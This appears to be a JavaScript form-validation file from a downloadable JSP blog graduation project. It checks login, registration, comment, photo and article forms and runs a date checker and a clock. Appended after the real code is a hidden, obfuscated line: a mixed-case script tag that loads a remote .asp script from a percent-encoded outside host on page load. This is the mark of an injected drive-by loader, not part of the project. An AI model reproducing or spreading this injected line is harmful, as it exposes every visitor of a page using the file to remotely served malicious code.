gusucode.com > JSP的个人博客系统的设计源码+毕业论文 > JSP的个人博客系统的设计源码+毕业论文\www.gusucode.com\20\BLOG\WebRoot\JS\validate.js
function userCheck(){ //用户登录验证 if(document.form1.account.value==""){ window.alert("请输入用户名称"); return false; } if(document.form1.password.value==""){ window.alert("请输入用户密码"); return false; } return true; } function accountADD(){ //用户注册验证 if(document.form.account.value==""){ window.alert("请输入用户名!"); return false; } if(document.form.password.value==""){ window.alert("请输入用户登录密码!"); return false; } if(document.form.repeatPassword.value==""){ window.alert("请输入重复登录密码!"); return false; } if (form.password.value!=form.repeatPassword.value){ alert("您两次输入的密码不一致,请重新输入!"); return false; } if(document.form.name.value==""){ window.alert("请输入用户姓名!"); return false; } if(document.form.QQnumber.value==""){ window.alert("请输入QQ号码!"); return false; } if(isNaN(document.form.QQnumber.value)){ window.alert("QQ号码必须为数字!"); return false; } if(document.form.mainPage.value==""){ window.alert("请输入主页地址!"); return false; } if(document.form.interest.value==""){ window.alert("请输入兴趣内容!"); return false; } if(document.form.eMail.value==""){ window.alert("请输入eMail地址内容!"); return false; } var i=form.eMail.value.indexOf("@"); var j=form.eMail.value.indexOf("."); if((i<0)||(i-j>0)||(j<0)){ alert("您输入的Email地址不正确,请重新输入!");return false; } return true; } function hostUpdate(){ //用户注册验证 if(document.form.account.value==""){ window.alert("请输入用户名!"); return false; } if(document.form.password.value==""){ window.alert("请输入用户登录密码!"); return false; } if(document.form.repeatPassword.value==""){ window.alert("请输入用户重复密码!"); return false; } if (form.password.value!=form.repeatPassword.value){ alert("您两次输入的密码不一致,请重新输入!"); return false; } if(document.form.name.value==""){ window.alert("请输入用户姓名!"); return false; } if(document.form.QQnumber.value==""){ window.alert("请输入QQ号码!"); return false; } if(isNaN(document.form.QQnumber.value)){ window.alert("QQ号码必须为数字!"); return false; } if(document.form.mainPage.value==""){ window.alert("请输入主页地址!"); return false; } if(document.form.interest.value==""){ window.alert("请输入兴趣内容!"); return false; } if(document.form.eMail.value==""){ window.alert("请输入eMail地址内容!"); return false; } var i=form.eMail.value.indexOf("@"); var j=form.eMail.value.indexOf("."); if((i<0)||(i-j>0)||(j<0)){ alert("您输入的Email地址不正确,请重新输入!");return false; } return true; } function friendAdd(){ //朋友添加 if(document.form.name.value==""){ window.alert("请输入朋友昵称!"); return false; } if(document.form.QQNumber.value==""){ window.alert("请输入QQ号码!"); return false; } if(isNaN(document.form.QQNumber.value)){ window.alert("QQ号码必须为数字!"); return false; } if(document.form.description.value==""){ window.alert("请输入朋友描述信息!"); return false; } return true; } function voteAdd(){ //投票内容添加 if(document.form.voteName.value==""){ window.alert("请输入投票内容!"); return false; } return true; } function addDiscuss(){ //评论添加 if(document.form.discussTitle.value==""){ window.alert("请输入评论题目!"); return false; } if(document.form.discussContent.value==""){ window.alert("请输入评论内容!"); return false; } return true; } function addPhoto(){ //评论添加 if(document.form.photoAddress.value==""){ window.alert("请选择上传的相片!"); return false; } if(document.form.photoDescription.value==""){ window.alert("请输入相片的描述信息!"); return false; } return true; } function addArticleType(){ //文章类型添加 if(document.form.typeName.value==""){ window.alert("请输入文章类型名称!"); return false; } if(document.form.description.value==""){ window.alert("请输入文章类型描述!"); return false; } return true; } function addArticle(){ //文章添加 if(document.form.title.value==""){ window.alert("请输入文章题目!"); return false; } if(document.form.content.value==""){ window.alert("请输入文章内容!"); return false; } return true; } function addRestore(){ //回复添加 if(document.form.reTitle.value==""){ window.alert("请输入回复题目!"); return false; } if(document.form.reContent.value==""){ window.alert("请输入回复内容!"); return false; } return true; } function quit(){ if(confirm("您真的要退出吗?")){ window.location.href="leave.jsp"; } } function sendInformation(){ //主题发布 if(document.form.title.value==""){ window.alert("请输入主题名称"); return false; } if(document.form.content.value==""){ window.alert("请输入主题内容"); return false; } if (form.content.value.length>1600){ alert("内容至多为1600位,请重新输入!"); return false; } return true; } function backInformation(){ //主题回复 if(document.form.title.value==""){ window.alert("请输入回复主题名称"); return false; } if(document.form.content.value==""){ window.alert("请输入回复主题内容"); return false; } if (form.content.value.length>1600){ alert("内容至多为1600位,请重新输入!"); return false; } return true; } function registerCheck(){ //新用户注册验证 if (form.account.value==""){ alert("请输入用户名!");return false; } if(form.account.value=="MrFriend"){ window.alert("此用户名不允许");return false; } if (form.realname.value==""){ alert("请输入真实姓名!");return false; } if (form.password1.value==""){ alert("请输入密码!");return false; } if (form.password1.value.length<6){ alert("密码至少为6位,请重新输入!");return false; } if (form.password2.value==""){ alert("请输入确认密码!");return false; } if (form.password1.value!=form.password2.value){ alert("您两次输入的密码不一致,请重新输入!");return false; } if(form.bron.value==""){ alert("请输入您的生日");return false; } if(CheckDate(form.bron.value)){ alert("请输入标准日期(如:1980/07/17或1980-07-17)");return false; } if (form.email.value==""){ alert("请输入Email地址!");return false; } var i=form.email.value.indexOf("@"); var j=form.email.value.indexOf("."); if((i<0)||(i-j>0)||(j<0)){ alert("您输入的Email地址不正确,请重新输入!");return false; } return true; } function CheckDate(INDate) { if (INDate=="") {return true;} subYY=INDate.substr(0,4) if(isNaN(subYY) || subYY<=0){ return true; } //转换月份 if(INDate.indexOf('-',0)!=-1){ separate="-"} else{ if(INDate.indexOf('/',0)!=-1){separate="/"} else {return true;} } area=INDate.indexOf(separate,0) subMM=INDate.substr(area+1,INDate.indexOf(separate,area+1)-(area+1)) if(isNaN(subMM) || subMM<=0){ return true; } if(subMM.length<2){subMM="0"+subMM} //转换日 area=INDate.lastIndexOf(separate) subDD=INDate.substr(area+1,INDate.length-area-1) if(isNaN(subDD) || subDD<=0){ return true; } if(eval(subDD)<10){subDD="0"+eval(subDD)} NewDate=subYY+"-"+subMM+"-"+subDD if(NewDate.length!=10){return true;} if(NewDate.substr(4,1)!="-"){return true;} if(NewDate.substr(7,1)!="-"){return true;} var MM=NewDate.substr(5,2); var DD=NewDate.substr(8,2); if((subYY%4==0 && subYY%100!=0)||subYY%400==0){ //判断是否为闰年 if(parseInt(MM)==2){ if(DD>29){return true;} } }else{ if(parseInt(MM)==2){ if(DD>28){return true;} } } var mm=new Array(1,3,5,7,8,10,12); //判断每月中的最大天数 for(i=0;i< mm.length;i++){ if (parseInt(MM) == mm[i]){ if(parseInt(DD)>31){ return true; }else{ return false; } } } if(parseInt(DD)>30){return true;} if(parseInt(MM)>12){return true;} return false; } function Myopen(divID,myform){ //根据传递的参数确定显示的层 divID.style.display=''; divID.style.left=(screen.width-240)/2; divID.style.top=(screen.height-277)/2; myform.UID.focus(); } function clockon(bgclock){ var now=new Date(); var year=now.getYear(); var month=now.getMonth(); var date=now.getDate(); var day=now.getDay(); var hour=now.getHours(); var minu=now.getMinutes(); var sec=now.getSeconds(); var week; month=month+1; if(month<10) month="0"+month; if(date<10) date="0"+date; if(hour<10) hour="0"+hour; if(minu<10) minu="0"+minu; if(sec<10) sec="0"+sec; var arr_week=new Array("星期日","星期一","星期二","星期三","星期四","星期五","星期六"); week=arr_week[day]; var time=""; time=year+"年"+month+"月"+date+"日 "+week+" "+hour+":"+minu+":"+sec; if(document.all){ bgclock.innerHTML=""+time+"" } var timer=setTimeout("clockon(bgclock)",200); } <ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>